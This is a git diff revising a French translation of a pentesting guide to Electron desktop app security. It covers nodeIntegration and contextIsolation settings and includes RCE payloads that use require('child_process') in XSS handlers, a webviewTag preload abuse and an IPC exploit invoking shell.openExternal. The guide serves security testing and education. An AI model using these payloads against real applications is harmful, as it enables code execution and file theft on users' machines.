From 5224824371def22c15d46f1a81b753a3fec8720d Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Sep 2025 02:43:31 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/electron --- .../electron-desktop-apps/README.md | 295 ++++++++++++------ 1 file changed, 208 insertions(+), 87 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 7e672b27b..c1a17fcd7 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,12 +1,12 @@ -# Applications de bureau Electron +# Electron Desktop Apps {{#include ../../../banners/hacktricks-training.md}} ## Introduction -Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il manque certains des mécanismes de sécurité des navigateurs modernes. +Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il lui manque certains mécanismes de sécurité des navigateurs modernes. -En général, vous pouvez trouver le code de l'application electron à l'intérieur d'une application `.asar`, afin d'obtenir le code, vous devez l'extraire : +Généralement, vous trouverez le code de l'application electron dans un fichier `.asar` ; pour obtenir le code, vous devez l'extraire : ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file @@ -17,14 +17,14 @@ Dans le code source d'une application Electron, à l'intérieur de `packet.json` "name": "standard-notes", "main": "./app/index.js", ``` -Electron a 2 types de processus : +Electron comprend 2 types de processus : -- Processus Principal (a un accès complet à NodeJS) -- Processus de Rendu (devrait avoir un accès restreint à NodeJS pour des raisons de sécurité) +- Main Process (dispose d'un accès complet à NodeJS) +- Renderer Process (devrait avoir un accès NodeJS restreint pour des raisons de sécurité) ![](<../../../images/image (182).png>) -Un **processus de rendu** sera une fenêtre de navigateur chargeant un fichier : +Un **renderer process** sera une fenêtre de navigateur chargeant un fichier : ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,20 +32,20 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Les paramètres du **renderer process** peuvent être **configurés** dans le **main process** à l'intérieur du fichier main.js. Certaines des configurations **empêcheront l'application Electron d'obtenir RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**. +Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** à l'intérieur du fichier main.js. Certaines configurations permettront d'**empêcher l'application Electron d'obtenir une RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**. -L'application Electron **pourrait accéder à l'appareil** via les API Node bien qu'elle puisse être configurée pour l'en empêcher : +L'application Electron **pourrait accéder à l'appareil** via Node apis, bien qu'il soit possible de le configurer pour l'en empêcher : -- **`nodeIntegration`** - est `off` par défaut. S'il est activé, permet d'accéder aux fonctionnalités Node depuis le renderer process. -- **`contextIsolation`** - est `on` par défaut. S'il est désactivé, les processus principal et renderer ne sont pas isolés. +- **`nodeIntegration`** - est `off` par défaut. Si `on`, permet d'accéder aux fonctionnalités de Node depuis le processus de rendu. +- **`contextIsolation`** - est `on` par défaut. Si `off`, les processus principal et de rendu ne sont pas isolés. - **`preload`** - vide par défaut. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est désactivé par défaut. Cela restreindra les actions que NodeJS peut effectuer. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est `off` par défaut. Il restreindra les actions que NodeJS peut effectuer. - Intégration Node dans les Workers - **`nodeIntegrationInSubframes`** - est `off` par défaut. -- Si **`nodeIntegration`** est **activé**, cela permettrait l'utilisation des **API Node.js** dans les pages web qui sont **chargées dans des iframes** au sein d'une application Electron. -- Si **`nodeIntegration`** est **désactivé**, alors les précharges se chargeront dans l'iframe. +- Si **`nodeIntegration`** est **activé**, cela permettrait l'utilisation des **Node.js APIs** dans des pages web qui sont **chargées dans des iframes** au sein d'une application Electron. +- Si **`nodeIntegration`** est **désactivé**, alors les preloads se chargeront dans l'iframe -Exemple de configuration : +Exemple de configuration: ```javascript const mainWindowOptions = { title: "Discord", @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -Quelques **payloads RCE** provenant de [ici](https://7as.es/electron/nodeIntegration_rce.txt): +Quelques **RCE payloads** provenant de [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): src="x" onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` -### Capture traffic +### Capturer le trafic Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que : ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` -## Injection de code local Electron +## Electron Local Code Injection + +Si vous pouvez exécuter localement une Electron App, il est possible que vous puissiez la faire exécuter du code javascript arbitraire. Consultez comment dans : -Si vous pouvez exécuter localement une application Electron, il est possible que vous puissiez faire exécuter du code javascript arbitraire. Vérifiez comment dans : {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md {{#endref}} -## RCE : XSS + nodeIntegration +## RCE: XSS + nodeIntegration -Si le **nodeIntegration** est défini sur **on**, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est : +If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is: ```html ``` -## RCE: webviewTag + preload IPC vuln + shell.openExternal +## RCE: webviewTag + vulnerable preload IPC + shell.openExternal -Cette vulnérabilité peut être trouvée dans **[ce rapport](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. +Cette vulnérabilité se trouve dans **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. -Le **webviewTag** est une **fonctionnalité obsolète** qui permet l'utilisation de **NodeJS** dans le **processus de rendu**, ce qui devrait être désactivé car cela permet de charger un script dans le contexte de préchargement comme : +La **webviewTag** est une **fonctionnalité obsolète** qui permet l'utilisation de **NodeJS** dans le **renderer process**, ce qui devrait être désactivé car cela permet de charger un script dans le preload context comme: ```xml ``` -Par conséquent, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un script de préchargement arbitraire**. +Ainsi, un attaquant qui parvient à charger une page arbitraire pourrait utiliser cette balise pour **charger un preload script arbitraire**. -Ce script de préchargement a ensuite été abusé pour appeler un **service IPC vulnérable (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir un RCE : +Ce preload script a ensuite été abusé pour appeler un **vulnérable IPC service (`skype-new-window`)** qui appelait **`shell.openExternal`** pour obtenir RCE: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -247,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do ``` ## Lecture de fichiers internes : XSS + contextIsolation -**Désactiver `contextIsolation` permet l'utilisation de balises ``**, similaires à `